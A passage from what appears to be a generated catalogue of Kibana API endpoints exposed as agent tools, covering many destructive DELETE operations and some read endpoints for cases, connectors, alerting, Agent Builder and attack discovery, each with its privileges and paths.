accordingly. Kibana DELETE /api/apm/settings/agent-configuration. DELETE /api/v1/kibana/api/apm/settings/agent-configuration. Scopes: api. kibana_delete_api_apm_sourcemaps_by_id (write, destructive) — Delete a previously uploaded source map. You must have `all` Kibana privileges for the APM and User Experience feature. Kibana DELETE /api/apm/sourcemaps/{id}. DELETE /api/v1/kibana/api/apm/sourcemaps/{id}. Scopes: api. kibana_delete_api_asset_criticality (write, destructive) — **Deprecated in 9.4.0.** Use the Entity Store APIs to unassign asset criticality for a specific entity. Delete the asset criticality record for a specific entity. Kibana DELETE /api/asset_criticality. DELETE /api/v1/kibana/api/asset_criticality. Scopes: api. kibana_delete_api_attack_discovery_schedules_by_id (write, destructive) — Permanently deletes an Attack Discovery schedule and all associated configuration. Kibana DELETE /api/attack_discovery/schedules/{id}. DELETE /api/v1/kibana/api/attack_discovery/schedules/{id}. Scopes: api. kibana_delete_api_cases (write, destructive) — You must have `read` or `all` privileges and the `delete` sub-feature privilege for the **Cases** feature in the **Management**, **Observability**, or **Security** section of the Kibana feature privileges, depending on the owner of the cases you're deleting. Kibana DELETE /api/cases. DELETE /api/v1/kibana/api/cases. Scopes: api. kibana_delete_api_cases_by_caseid_comments (write, destructive) — Deletes all comments and alerts from a case. You must have `all` privileges for the **Cases** feature in the **Management**, **Observability**, or **Security** section of the Kibana feature privileges, depending on the owner of the cases you're deleting. Kibana DELETE /api/cases/{caseId}/comments. DELETE /api/v1/kibana/api/cases/{caseId}/comments. Scopes: api. kibana_delete_api_cases_by_caseid_comments_by_commentid (write, destructive) — You must have `all` privileges for the **Cases** feature in the **Management**, **Observability**, or **Security** section of the Kibana feature privileges, depending on the owner of the cases you're deleting. Kibana DELETE /api/cases/{caseId}/comments/{commentId}. DELETE /api/v1/kibana/api/cases/{caseId}/comments/{commentId}. Scopes: api. kibana_delete_api_cases_templates_by_template_id (write, destructive) — Soft-deletes a case template (all versions). Existing cases keep their pinned template reference; the template stops appearing in the case creation flow and in find responses. You must have the "Manage templates" sub-privilege for the Cases feature of the owning solution. [Technical preview] Kibana DELETE /api/cases/templates/{template_id}. DELETE /api/v1/kibana/api/cases/templates/{template_id}. Scopes: api. kibana_delete_api_dashboards_by_id (write, destructive) — > This documentation is temporarily hosted at a separate location. > > **[View the full Dashboards API reference →](https://elastic.github.io/dashboards-api-spec/dashboards#tag/Dashboards)**. Kibana DELETE /api/dashboards/{id}. DELETE /api/v1/kibana/api/dashboards/{id}. Scopes: api. kibana_delete_api_data_views_data_view_by_viewid (write, destructive) — Delete a data view by its identifier. WARNING: When you delete a data view, it cannot be recovered. Kibana DELETE /api/data_views/data_view/{viewId}. DELETE /api/v1/kibana/api/data_views/data_view/{viewId}. Scopes: api. kibana_delete_api_data_views_data_view_by_viewid_runtime_field_by_fieldname (write, destructive) — Delete a runtime field from a data view. Kibana DELETE /api/data_views/data_view/{viewId}/runtime_field/{fieldName}. DELETE /api/v1/kibana/api/data_views/data_view/{viewId}/runtime_field/{fieldName}. Scopes: api. kibana_delete_api_detection_engine_index (write, destructive) — Permanently deletes the Elastic Security alerts backing index in the current space, including the alerts stored in it. Use with caution; prefer lifecycle policies or the UI when available. Call `GET /api/detection_engine/index` first to confirm the index that will be removed. Kibana DELETE /api/detection_engine/index. DELETE /api/v1/kibana/api/detection_engine/index. Scopes: api. kibana_delete_api_detection_engine_rules (write, destructive) — Delete a detection rule using the `rule_id` or `id` field. Kibana DELETE /api/detection_engine/rules. DELETE /api/v1/kibana/api/detection_engine/rules. Scopes: api. kibana_delete_api_detection_engine_signals_migration (write, destructive) — **DEPRECATED.** Cleanup API for old migration artifacts. Do not add new call sites. **WARNING:** This schedules deletions; ensure no production reads still point at the source index. Migrations favor data integrity over shard size. Consequently, unused or orphaned indices are artifacts of the migration process. Kibana DELETE /api/detection_engine/signals/migration. DELETE /api/v1/kibana/api/detection_engine/signals/migration. Scopes: api. kibana_delete_api_endpoint_list_items (write, destructive) — Delete an Elastic Endpoint exception list item, specified by the `id` or `item_id` field. Kibana DELETE /api/endpoint_list/items. DELETE /api/v1/kibana/api/endpoint_list/items. Scopes: api. kibana_delete_api_endpoint_scripts_library_by_script_id (write, destructive) — Delete a script. Kibana DELETE /api/endpoint/scripts_library/{script_id}. DELETE /api/v1/kibana/api/endpoint/scripts_library/{script_id}. Scopes: api. kibana_delete_api_entity_analytics_monitoring_engine_delete (write, destructive) — **Deprecated in 9.4.0.** Deletes the Privilege Monitoring Engine and optionally removes all associated privileged user data. Kibana DELETE /api/entity_analytics/monitoring/engine/delete. DELETE /api/v1/kibana/api/entity_analytics/monitoring/engine/delete. Scopes: api. kibana_delete_api_entity_analytics_monitoring_users_by_id (write, destructive) — **Deprecated in 9.4.0.** Use the Watchlists API instead. Removes a privileged user from monitoring by their document ID. Kibana DELETE /api/entity_analytics/monitoring/users/{id}. DELETE /api/v1/kibana/api/entity_analytics/monitoring/users/{id}. Scopes: api. kibana_delete_api_exception_lists (write, destructive) — Delete an exception list using the `id` or `list_id` field. Before deleting an exception list that is linked to detection rules, remove or unlink the exception list from those rules. Deleting a linked exception list can leave rules referencing an exception list that no longer exists. Kibana DELETE /api/exception_lists. DELETE /api/v1/kibana/api/exception_lists. Scopes: api. kibana_delete_api_exception_lists_items (write, destructive) — Delete an exception list item using the `id` or `item_id` field. Kibana DELETE /api/exception_lists/items. DELETE /api/v1/kibana/api/exception_lists/items. Scopes: api. kibana_delete_api_fleet_agent_download_sources_by_sourceid (write, destructive) — Delete an agent binary download source by ID. [Required authorization] Route required privileges: fleet-settings-all. Kibana DELETE /api/fleet/agent_download_sources/{sourceId}. DELETE /api/v1/kibana/api/fleet/agent_download_sources/{sourceId}. Scopes: api. kibana_delete_api_fleet_agentless_policies_by_policyid (write, destructive) — Deprecated. Use `DELETE /api/fleet/managed_integrations/{policyId}` instead. Delete a managed integration. [Experimental; added in 9.3.0] Kibana DELETE /api/fleet/agentless_policies/{policyId}. DELETE /api/v1/kibana/api/fleet/agentless_policies/{policyId}. Scopes: api. kibana_delete_api_fleet_agents_by_agentid (write, destructive) — Delete an agent by ID. [Required authorization] Route required privileges: fleet-agents-all. Kibana DELETE /api/fleet/agents/{agentId}. DELETE /api/v1/kibana/api/fleet/agents/{agentId}. Scopes: api. kibana_delete_api_fleet_agents_files_by_fileid (write, destructive) — Delete a file uploaded by an agent. [Required authorization] Route required privileges: fleet-agents-all. Kibana DELETE /api/fleet/agents/files/{fileId}. DELETE /api/v1/kibana/api/fleet/agents/files/{fileId}. Scopes: api. kibana_delete_api_fleet_cloud_connectors_by_cloudconnectorid (write, destructive) — Delete a cloud connector by ID. Use the `force` query parameter to delete even if package policies are still using it. [Required authorization] Route required privileges: fleet-agent-policies-all OR integrations-all. [Experimental; added in 9.2.0] Kibana DELETE /api/fleet/cloud_connectors/{cloudConnectorId}. DELETE /api/v1/kibana/api/fleet/cloud_connectors/{cloudConnectorId}. Scopes: api. kibana_delete_api_fleet_enrollment_api_keys_by_keyid (write, destructive) — Revoke or delete an enrollment API key by ID. Use `forceDelete=true` to remove the document. [Required authorization] Route required privileges: fleet-agents-all. Kibana DELETE /api/fleet/enrollment_api_keys/{keyId}. DELETE /api/v1/kibana/api/fleet/enrollment_api_keys/{keyId}. Scopes: api. kibana_delete_api_fleet_epm_packages_by_pkgname (write, destructive) — Uninstall a package and remove all its assets. [Required authorization] Route required privileges: integrations-all AND fleet-agent-policies-all. Kibana DELETE /api/fleet/epm/packages/{pkgName}. DELETE /api/v1/kibana/api/fleet/epm/packages/{pkgName}. Scopes: api. kibana_delete_api_fleet_epm_packages_by_pkgname_by_pkgversion (write, destructive) — Uninstall a specific version of a package and remove all its assets. [Required authorization] Route required privileges: integrations-all AND fleet-agent-policies-all. Kibana DELETE /api/fleet/epm/packages/{pkgName}/{pkgVersion}. DELETE /api/v1/kibana/api/fleet/epm/packages/{pkgName}/{pkgVersion}. Scopes: api. kibana_delete_api_fleet_epm_packages_by_pkgname_by_pkgversion_datastream_assets (write, destructive) — Delete datastream assets for a specific package, by data stream name. [Required authorization] Route required privileges: integrations-all AND fleet-agent-policies-all. Kibana DELETE /api/fleet/epm/packages/{pkgName}/{pkgVersion}/datastream_assets. DELETE /api/v1/kibana/api/fleet/epm/packages/{pkgName}/{pkgVersion}/datastream_assets. Scopes: api. kibana_delete_api_fleet_epm_packages_by_pkgname_by_pkgversion_kibana_assets (write, destructive) — Delete Kibana assets (dashboards, visualizations, etc.) for a specific package version. [Required authorization] Route required privileges: integrations-all AND fleet-agent-policies-all. Kibana DELETE /api/fleet/epm/packages/{pkgName}/{pkgVersion}/kibana_assets. DELETE /api/v1/kibana/api/fleet/epm/packages/{pkgName}/{pkgVersion}/kibana_assets. Scopes: api. kibana_delete_api_fleet_fleet_server_hosts_by_itemid (write, destructive) — Delete a Fleet Server host by ID. [Required authorization] Route required privileges: fleet-settings-all. Kibana DELETE /api/fleet/fleet_server_hosts/{itemId}. DELETE /api/v1/kibana/api/fleet/fleet_server_hosts/{itemId}. Scopes: api. kibana_delete_api_fleet_managed_integrations_by_policyid (write, destructive) — Delete a managed integration. [Experimental; added in 9.3.0] Kibana DELETE /api/fleet/managed_integrations/{policyId}. DELETE /api/v1/kibana/api/fleet/managed_integrations/{policyId}. Scopes: api. kibana_delete_api_fleet_outputs_by_outputid (write, destructive) — Delete output by ID. [Required authorization] Route required privileges: fleet-settings-all. Kibana DELETE /api/fleet/outputs/{outputId}. DELETE /api/v1/kibana/api/fleet/outputs/{outputId}. Scopes: api. kibana_delete_api_fleet_package_policies_by_packagepolicyid (write, destructive) — Delete a package policy by ID. [Required authorization] Route required privileges: fleet-agent-policies-all AND integrations-all. Kibana DELETE /api/fleet/package_policies/{packagePolicyId}. DELETE /api/v1/kibana/api/fleet/package_policies/{packagePolicyId}. Scopes: api. kibana_delete_api_fleet_proxies_by_itemid (write, destructive) — Delete a proxy by ID [Required authorization] Route required privileges: fleet-settings-all. Kibana DELETE /api/fleet/proxies/{itemId}. DELETE /api/v1/kibana/api/fleet/proxies/{itemId}. Scopes: api. kibana_delete_api_lists (write, destructive) — Delete a value list using the list ID. > info > When you delete a list, all of its list items are also deleted. Kibana DELETE /api/lists. DELETE /api/v1/kibana/api/lists. Scopes: api. kibana_delete_api_lists_index (write, destructive) — Delete the `.lists` and `.items` data streams. Kibana DELETE /api/lists/index. DELETE /api/v1/kibana/api/lists/index. Scopes: api. kibana_delete_api_lists_items (write, destructive) — Delete a value list item using its `id`, or its `list_id` and `value` fields. Kibana DELETE /api/lists/items. DELETE /api/v1/kibana/api/lists/items. Scopes: api. kibana_delete_api_logstash_pipeline_by_id (write, destructive) — Delete a centrally-managed Logstash pipeline. If your Elasticsearch cluster is protected with basic authentication, you must have either the `logstash_admin` built-in role or a customized Logstash writer role. [Technical Preview] Kibana DELETE /api/logstash/pipeline/{id}. DELETE /api/v1/kibana/api/logstash/pipeline/{id}. Scopes: api. kibana_delete_api_maintenance_window_by_id (write, destructive) — [Required authorization] Route required privileges: write-maintenance-window. [Generally available; added in 9.1.0] Kibana DELETE /api/maintenance_window/{id}. DELETE /api/v1/kibana/api/maintenance_window/{id}. Scopes: api. kibana_delete_api_note (write, destructive) — Deletes notes by saved object ID. Send either `noteId` (single ID) or `noteIds` (array of IDs) in the JSON body. The response has HTTP 200 with an empty body on success. Requires the **Timeline and Notes** write privilege (`notes_write`). Kibana DELETE /api/note. DELETE /api/v1/kibana/api/note. Scopes: api. kibana_delete_api_osquery_packs_by_id (write, destructive) — Delete a query pack using the pack ID. Kibana DELETE /api/osquery/packs/{id}. DELETE /api/v1/kibana/api/osquery/packs/{id}. Scopes: api. kibana_delete_api_osquery_saved_queries_by_id (write, destructive) — Delete a saved query using the query ID. Kibana DELETE /api/osquery/saved_queries/{id}. DELETE /api/v1/kibana/api/osquery/saved_queries/{id}. Scopes: api. kibana_delete_api_risk_score_engine_dangerously_delete_data (write, destructive) — Cleaning up the the Risk Engine by removing the indices, mapping and transforms. Kibana DELETE /api/risk_score/engine/dangerously_delete_data. DELETE /api/v1/kibana/api/risk_score/engine/dangerously_delete_data. Scopes: api. kibana_delete_api_saved_objects_by_type_by_id (write, destructive) — WARNING: This API is deprecated. This is a legacy Saved Objects API and may be removed in a future version of Kibana. Deletes a single Kibana saved object by type and ID. There is currently no complete replacement for deleting arbitrary saved objects via an HTTP API. Kibana DELETE /api/saved_objects/{type}/{id}. DELETE /api/v1/kibana/api/saved_objects/{type}/{id}. Scopes: api. kibana_delete_api_security_ai_assistant_current_user_conversations (write, destructive) — This endpoint allows users to permanently delete all conversations. Kibana DELETE /api/security_ai_assistant/current_user/conversations. DELETE /api/v1/kibana/api/security_ai_assistant/current_user/conversations. Scopes: api. kibana_delete_api_security_ai_assistant_current_user_conversations_by_id (write, destructive) — Delete an existing conversation using the conversation ID. This endpoint allows users to permanently delete a conversation. Kibana DELETE /api/security_ai_assistant/current_user/conversations/{id}. DELETE /api/v1/kibana/api/security_ai_assistant/current_user/conversations/{id}. Scopes: api. kibana_delete_api_security_ai_assistant_knowledge_base_entries_by_id (write, destructive) — Delete a Knowledge Base Entry by its unique `id`. Kibana DELETE /api/security_ai_assistant/knowledge_base/entries/{id}. DELETE /api/v1/kibana/api/security_ai_assistant/knowledge_base/entries/{id}. Scopes: api. kibana_delete_api_security_entity_store_entities (write, destructive) — Delete a single entity record from the Entity Store. The entity is immediately removed from the latest index. [Required authorization] Route required privileges: securitySolution. Kibana DELETE /api/security/entity_store/entities/. DELETE /api/v1/kibana/api/security/entity_store/entities. Scopes: api. kibana_delete_api_security_role_by_name (write, destructive) — Delete a Kibana role by its name. Kibana DELETE /api/security/role/{name}. DELETE /api/v1/kibana/api/security/role/{name}. Scopes: api. kibana_delete_api_short_url_by_id (write, destructive) — Delete a Kibana short URL. [Technical Preview] Kibana DELETE /api/short_url/{id}. DELETE /api/v1/kibana/api/short_url/{id}. Scopes: api. kibana_delete_api_spaces_space_by_id (write, destructive) — When you delete a space, all saved objects that belong to the space are automatically deleted, which is permanent and cannot be undone. Kibana DELETE /api/spaces/space/{id}. DELETE /api/v1/kibana/api/spaces/space/{id}. Scopes: api. kibana_delete_api_streams_by_name (write, destructive) — Deletes a stream definition and the underlying data stream [Required authorization] Route required privileges: manage_stream. [Experimental; added in 9.1.0] Kibana DELETE /api/streams/{name}. DELETE /api/v1/kibana/api/streams/{name}. Scopes: api. kibana_delete_api_streams_by_name_queries_by_queryid (write, destructive) — Remove a query from a stream. Noop if the query is not found on the stream. [Required authorization] Route required privileges: manage_stream. [Experimental; added in 9.1.0] Kibana DELETE /api/streams/{name}/queries/{queryId}. DELETE /api/v1/kibana/api/streams/{name}/queries/{queryId}. Scopes: api. kibana_delete_api_streams_by_streamname_attachments_by_attachmenttype_by_attachmentid (write, destructive) — Unlinks an attachment from a stream. Noop if the attachment is not linked to the stream. [Required authorization] Route required privileges: manage_stream. [Experimental; added in 9.3.0] Kibana DELETE /api/streams/{streamName}/attachments/{attachmentType}/{attachmentId}. DELETE /api/v1/kibana/api/streams/{streamName}/attachments/{attachmentType}/{attachmentId}. Scopes: api. kibana_delete_api_synthetics_monitors_by_id (write, destructive) — Delete a monitor from the Synthetics app. You must have `all` privileges for the Synthetics feature in the Observability section of the Kibana feature privileges. Kibana DELETE /api/synthetics/monitors/{id}. DELETE /api/v1/kibana/api/synthetics/monitors/{id}. Scopes: api. kibana_delete_api_synthetics_params_by_id (write, destructive) — Delete a parameter from the Synthetics app. You must have `all` privileges for the Synthetics feature in the Observability section of the Kibana feature privileges. Kibana DELETE /api/synthetics/params/{id}. DELETE /api/v1/kibana/api/synthetics/params/{id}. Scopes: api. kibana_delete_api_synthetics_private_locations_by_id (write, destructive) — You must have `all` privileges for the Synthetics and Uptime feature in the Observability section of the Kibana feature privileges. The API does not return a response body for deletion, but it will return an appropriate status code upon successful deletion. Kibana DELETE /api/synthetics/private_locations/{id}. DELETE /api/v1/kibana/api/synthetics/private_locations/{id}. Scopes: api. kibana_delete_api_tags_by_id (write, destructive) — Permanently deletes a tag by ID. [Experimental; added in 9.5.0] Kibana DELETE /api/tags/{id}. DELETE /api/v1/kibana/api/tags/{id}. Scopes: api. kibana_delete_api_timeline (write, destructive) — Delete one or more Timelines or Timeline templates. Kibana DELETE /api/timeline. DELETE /api/v1/kibana/api/timeline. Scopes: api. kibana_delete_api_visualizations_by_id (write, destructive) — > This documentation is temporarily hosted at a separate location. > > **[View the full Visualizations API reference →](https://elastic.github.io/dashboards-api-spec/visualizations#tag/Visualizations)**. Kibana DELETE /api/visualizations/{id}. DELETE /api/v1/kibana/api/visualizations/{id}. Scopes: api. kibana_delete_api_workflows (write, destructive) — Delete multiple workflows by their IDs. [Required authorization] Route required privileges: workflowsManagement:delete. [Generally available; added in 9.4.0] Kibana DELETE /api/workflows. DELETE /api/v1/kibana/api/workflows. Scopes: api. kibana_delete_api_workflows_workflow_by_id (write, destructive) — Delete a single workflow by its ID. [Required authorization] Route required privileges: workflowsManagement:delete. [Generally available; added in 9.4.0] Kibana DELETE /api/workflows/workflow/{id}. DELETE /api/v1/kibana/api/workflows/workflow/{id}. Scopes: api. kibana_delete_s_by_spaceid_api_observability_slos_by_sloid (write, destructive) — You must have the `write` privileges for the **SLOs** feature in the **Observability** section of the Kibana feature privileges. Kibana DELETE /s/{spaceId}/api/observability/slos/{sloId}. DELETE /api/v1/kibana/s/{spaceId}/api/observability/slos/{sloId}. Scopes: api. kibana_get_api_actions_connector_by_connectorid_oauth_start (read) — [Required authorization] Route required privileges: actions:oauth. Kibana GET /api/actions/connector/{connectorId}/oauth/start. GET /api/v1/kibana/api/actions/connector/{connectorId}/oauth/start. Scopes: api. kibana_get_api_actions_connector_by_id (read) — Get connector information. Kibana GET /api/actions/connector/{id}. GET /api/v1/kibana/api/actions/connector/{id}. Scopes: api. kibana_get_api_actions_connector_oauth_callback (read) — Handles the OAuth 2.0 authorization code callback from external providers. Exchanges the authorization code for access and refresh tokens. [Required authorization] Route required privileges: actions:oauth. [Added in 9.4.0] Kibana GET /api/actions/connector/_oauth_callback. GET /api/v1/kibana/api/actions/connector/_oauth_callback. Scopes: api. kibana_get_api_actions_connector_oauth_callback_script (read) — Returns the OAuth callback script. [Added in 9.4.0] Kibana GET /api/actions/connector/_oauth_callback_script. GET /api/v1/kibana/api/actions/connector/_oauth_callback_script. Scopes: api. kibana_get_api_actions_connector_types (read) — You do not need any Kibana feature privileges to run this API. Kibana GET /api/actions/connector_types. GET /api/v1/kibana/api/actions/connector_types. Scopes: api. kibana_get_api_actions_connectors (read) — Get all connectors. Kibana GET /api/actions/connectors. GET /api/v1/kibana/api/actions/connectors. Scopes: api. kibana_get_api_agent_builder_a2a_by_agentid_json (read) — Get agent discovery metadata in JSON format. Use this endpoint to provide agent information for A2A protocol integration and discovery. To learn more about the Agent Builder A2A server, refer to the [A2A server documentation](https://www.elastic.co/docs/explore-analyze/ai-features/agent-builder/a2a-server). [Experimental; added in 9.2.0] Kibana GET /api/agent_builder/a2a/{agentId}.json. GET /api/v1/kibana/api/agent_builder/a2a/{agentId}.json. Scopes: api. kibana_get_api_agent_builder_agents (read) — List all available agents. Use this endpoint to retrieve complete agent information including their current configuration and assigned tools. To learn more about agents, refer to the [agents documentation](https://www.elastic.co/docs/explore-analyze/ai-features/agent-builder/agent-builder-agents). [Added in 9.2.0] Kibana GET /api/agent_builder/agents. GET /api/v1/kibana/api/agent_builder/agents. Scopes: api. kibana_get_api_agent_builder_agents_by_id (read) — Get a specific agent by ID. Use this endpoint to retrieve the complete agent definition including all configuration details and tool assignments. To learn more about agents, refer to the [agents documentation](https://www.elastic.co/docs/explore-analyze/ai-features/agent-builder/agent-builder-agents). [Added in 9.2.0] Kibana GET /api/agent_builder/agents/{id}. GET /api/v1/kibana/api/agent_builder/agents/{id}. Scopes: api. kibana_get_api_agent_builder_agents_by_id_access_control (read) — Get the access control for a specific agent. Callers without permission to manage access control receive `permissions.update_access_control: false` and only their own entry. [Added in 9.5.0] Kibana GET /api/agent_builder/agents/{id}/access_control. GET /api/v1/kibana/api/agent_builder/agents/{id}/access_control. Scopes: api. kibana_get_api_agent_builder_conversations (read) — List all conversations for a user. Use the optional agent ID to filter conversations by a specific agent. To learn more about agent conversations, refer to the [agent chat documentation](https://www.elastic.co/docs/explore-analyze/ai-features/agent-builder/chat). [Added in 9.2.0] Kibana GET /api/agent_builder/conversations. GET /api/v1/kibana/api/agent_builder/conversations. Scopes: api. kibana_get_api_agent_builder_conversations_by_conversation_id (read) — Get a specific conversation by ID. Use this endpoint to retrieve the complete conversation history including all messages and metadata. To learn more about agent conversations, refer to the [agent chat documentation](https://www.elastic.co/docs/explore-analyze/ai-features/agent-builder/chat). [Added in 9.2.0] Kibana GET /api/agent_builder/conversations/{conversation_id}. GET /api/v1/kibana/api/agent_builder/conversations/{conversation_id}. Scopes: api. kibana_get_api_agent_builder_conversations_by_conversation_id_attachments (read) — List all attachments for a conversation. Use the optional include_deleted query parameter to include soft-deleted attachments. [Required authorization] Route required privileges: agentBuilder:read. [Experimental; added in 9.2.0] Kibana GET /api/agent_builder/conversations/{conversation_id}/attachments. GET /api/v1/kibana/api/agent_builder/conversations/{conversation_id}/attachments. Scopes: api. kibana_get_api_agent_builder_conversations_by_conversation_id_attachments_stale (read) — Checks staleness for the latest version of all conversation attachments against their origin snapshot. [Required authorization] Route required privileges: agentBuilder:read. [Experimental; added in 9.4.0] Kibana GET /api/agent_builder/conversations/{conversation_id}/attachments/stale. GET /api/v1/kibana/api/agent_builder/conversations/{conversation_id}/attachments/stale. Scopes: api. kibana_get_api_agent_builder_plugins (read) — List all installed plugins and their managed assets. Plugins are installable packages that bundle agent capabilities such as skills, following the [Claude agent plugin specification](https://code.claude.com/docs/en/plugins). [Experimental; added in 9.4.0] Kibana GET /api/agent_builder/plugins. GET /api/v1/kibana/api/agent_builder/plugins. Scopes: api. kibana_get_api_agent_builder_plugins_by_pluginid (read) — Get a specific plugin by ID. To learn more about Agent Builder plugins, refer to the [plugins documentation](https://www.elastic.co/docs/explore-analyze/ai-features/agent-builder/plugins). [Required authorization] Route required privileges: agentBuilder:read. [Experimental; added in 9.4.0] Kibana GET /api/agent_builder/plugins/{pluginId}. GET /api/v1/kibana/api/agent_builder/plugins/{pluginId}. Scopes: api. kibana_get_api_agent_builder_skills (read) — List all available skills (built-in and user-created). To learn more about Agent Builder skills, refer to the [skills documentation](https://www.elastic.co/docs/explore-analyze/ai-features/agent-builder/skills). [Required authorization] Route required privileges: agentBuilder:read. [Experimental; added in 9.4.0] Kibana GET /api/agent_builder/skills. GET /api/v1/kibana/api/agent_builder/skills. Scopes: api. kibana_get_api_agent_builder_skills_by_skillid (read) — Get a specific skill by ID. To learn more about Agent Builder skills, refer to the [skills documentation](https://www.elastic.co/docs/explore-analyze/ai-features/agent-builder/skills). [Required authorization] Route required privileges: agentBuilder:read. [Experimental; added in 9.4.0] Kibana GET /api/agent_builder/skills/{skillId}. GET /api/v1/kibana/api/agent_builder/skills/{skillId}. Scopes: api. kibana_get_api_agent_builder_tools (read) — List all available tools. Use this endpoint to retrieve complete tool definitions including their schemas and configuration requirements. To learn more about Agent Builder tools, refer to the [tools documentation](https://www.elastic.co/docs/explore-analyze/ai-features/agent-builder/tools). [Added in 9.2.0] Kibana GET /api/agent_builder/tools. GET /api/v1/kibana/api/agent_builder/tools. Scopes: api. kibana_get_api_agent_builder_tools_by_toolid (read) — Get a specific tool by ID. Use this endpoint to retrieve the complete tool definition including its schema and configuration requirements. To learn more about Agent Builder tools, refer to the [tools documentation](https://www.elastic.co/docs/explore-analyze/ai-features/agent-builder/tools). [Added in 9.2.0] Kibana GET /api/agent_builder/tools/{toolId}. GET /api/v1/kibana/api/agent_builder/tools/{toolId}. Scopes: api. kibana_get_api_alerting_health (read) — You must have `read` privileges for the **Management > Stack Rules** feature or for at least one of the **Analytics > Discover**, **Analytics > Machine Learning**, **Observability**, or **Security** features. Kibana GET /api/alerting/_health. GET /api/v1/kibana/api/alerting/_health. Scopes: api. kibana_get_api_alerting_rule_by_id (read) — Get rule details. Kibana GET /api/alerting/rule/{id}. GET /api/v1/kibana/api/alerting/rule/{id}. Scopes: api. kibana_get_api_alerting_rule_by_id_query_inspector (read) — Returns the Elasticsearch query that a rule executes, and optionally its response. Kibana GET /api/alerting/rule/{id}/query_inspector. GET /api/v1/kibana/api/alerting/rule/{id}/query_inspector. Scopes: api. kibana_get_api_alerting_rule_types (read) — If you have `read` privileges for one or more Kibana features, the API response contains information about the appropriate rule types. Kibana GET /api/alerting/rule_types. GET /api/v1/kibana/api/alerting/rule_types. Scopes: api. kibana_get_api_alerting_rules_backfill_by_id (read) — Get a backfill by ID. Kibana GET /api/alerting/rules/backfill/{id}. GET /api/v1/kibana/api/alerting/rules/backfill/{id}. Scopes: api. kibana_get_api_alerting_rules_find (read) — Get information about rules. Kibana GET /api/alerting/rules/_find. GET /api/v1/kibana/api/alerting/rules/_find. Scopes: api. kibana_get_api_apm_services_by_servicename_annotation_search (read) — Search for annotations related to a specific service. Kibana GET /api/apm/services/{serviceName}/annotation/search. GET /api/v1/kibana/api/apm/services/{serviceName}/annotation/search. Scopes: api. kibana_get_api_apm_settings_agent_configuration (read) — Retrieve all agent configurations. You must have `read` privileges for the APM and User Experience feature in Kibana. If agent configuration is not available on the current deployment, the API returns a 404. Kibana GET /api/apm/settings/agent-configuration. GET /api/v1/kibana/api/apm/settings/agent-configuration. Scopes: api. kibana_get_api_apm_settings_agent_configuration_agent_name (read) — Retrieve `agentName` for a service. Kibana GET /api/apm/settings/agent-configuration/agent_name. GET /api/v1/kibana/api/apm/settings/agent-configuration/agent_name. Scopes: api. kibana_get_api_apm_settings_agent_configuration_environments (read) — Retrieve the available environments for a given service, to be used in agent configuration. You must have `read` privileges for the APM and User Experience feature in Kibana. If `serviceName` is omitted, environments across all services are returned. Kibana GET /api/apm/settings/agent-configuration/environments. GET /api/v1/kibana/api/apm/settings/agent-configuration/environments. Scopes: api. kibana_get_api_apm_settings_agent_configuration_view (read) — Retrieve a single agent configuration matching the given service name and environment. You must have `read` privileges for the APM and User Experience feature in Kibana. If no matching configuration is found, the API returns a 404. Kibana GET /api/apm/settings/agent-configuration/view. GET /api/v1/kibana/api/apm/settings/agent-configuration/view. Scopes: api. kibana_get_api_apm_sourcemaps (read) — Get an array of Fleet artifacts, including source map uploads. You must have `read` or `all` Kibana privileges for the APM and User Experience feature. Kibana GET /api/apm/sourcemaps. GET /api/v1/kibana/api/apm/sourcemaps. Scopes: api. kibana_get_api_asset_criticality (read) — **Deprecated in 9.4.0.** Get the asset criticality record for a specific entity. Kibana GET /api/asset_criticality. GET /api/v1/kibana/api/asset_criticality. Scopes: api. kibana_get_api_asset_criticality_list (read) — **Deprecated in 9.4.0.** List asset criticality records, paging, sorting and filtering as needed. Kibana GET /api/asset_criticality/list. GET /api/v1/kibana/api/asset_criticality/list. Scopes: api. kibana_get_api_attack_discovery_find (read) — Find Attack discoveries that match the search criteria. Supports free text search, filtering, pagination, and sorting. Kibana GET /api/attack_discovery/_find. GET /api/v1/kibana/api/attack_discovery/_find. Scopes: api. kibana_get_api_attack_discovery_generations (read) — Get the latest Attack Discovery generations metadata (that are not dismissed) for the current user. This endpoint retrieves generation metadata including execution status and statistics for Attack Discovery generations. Kibana GET /api/attack_discovery/generations. GET /api/v1/kibana/api/attack_discovery/generations. Scopes: api. kibana_get_api_attack_discovery_generations_by_execution_uuid (read) — Returns a specific Attack Discovery generation, including all generated Attack discoveries and associated metadata, including execution status and statistics. Kibana GET /api/attack_discovery/generations/{execution_uuid}. GET /api/v1/kibana/api/attack_discovery/generations/{execution_uuid}. Scopes: api. kibana_get_api_attack_discovery_schedules_by_id (read) — Retrieves a specific Attack Discovery schedule by its unique identifier. Returns complete schedule configuration including parameters, interval settings, associated actions, and execution history. Kibana GET /api/attack_discovery/schedules/{id}. GET /api/v1/kibana/api/attack_discovery/schedules/{id}. Scopes: api. kibana_get_api_attack_discovery_schedules_find (read) — Find Attack Discovery schedules that match the search criteria. Supports pagination and sorting by various fields. Kibana GET /api/attack_discovery/schedules/_find. GET /api/v1/kibana/api/attack_discovery/schedules/_find. Scopes: api. kibana_get_api_cases_alerts_by_alertid (read) — You must have `read` privileges for the **Cases** feature in the **Management**, **Observability**, or **Security** section of the Kibana feature privileges, depending on the owner of the cases you're seeking. [Technical preview] Kibana GET /api/cases/alerts/{alertId}. GET /api/v1/kibana/api/cases/alerts/{alertId}. Scopes: api. kibana_get_api_cases_by_caseid (read) — Returns case details. The response does not include a comments property; use the find case comments API to retrieve comments. The totalComment field reflects the actual number of user comments on the case. Kibana GET /api/cases/{caseId}. GET /api/v1/kibana/api/cases/{caseId}. Scopes: api. kibana_get_api_cases_by_caseid_alerts (read) — You must have `read` privileges for the **Cases** feature in the **Management**, **Observability**, or **Security** section of the Kibana feature privileges, depending on the owner of the cases you're seeking. [Technical preview] Kibana GET /api/cases/{caseId}/alerts. GET /api/v1/kibana/api/cases/{caseId}/alerts. Scopes: api. kibana_get_api_cases_by_caseid_comments_by_commentid (read) — You must have `read` privileges for the **Cases** feature in the **Management**, **Observability**, or **Security** section of the Kibana feature privileges, depending on the owner of the cases with the comments you're seeking. Kibana GET /api/cases/{caseId}/comments/{commentId}. GET /api/v1/kibana/api/cases/{caseId}/comments/{commentId}. Scopes: api. kibana_get_api_cases_by_caseid_comments_find (read) — Retrieves a paginated list of comments for a case. You must have `read` privileges for the **Cases** feature in the **Management**, **Observability**, or **Security** section of the Kibana feature privileges, depending on the owner of the cases with the comments you're seeking. Kibana GET /api/cases/{caseId}/comments/_find. GET /api/v1/kibana/api/cases/{caseId}/comments/_find. Scopes: api. 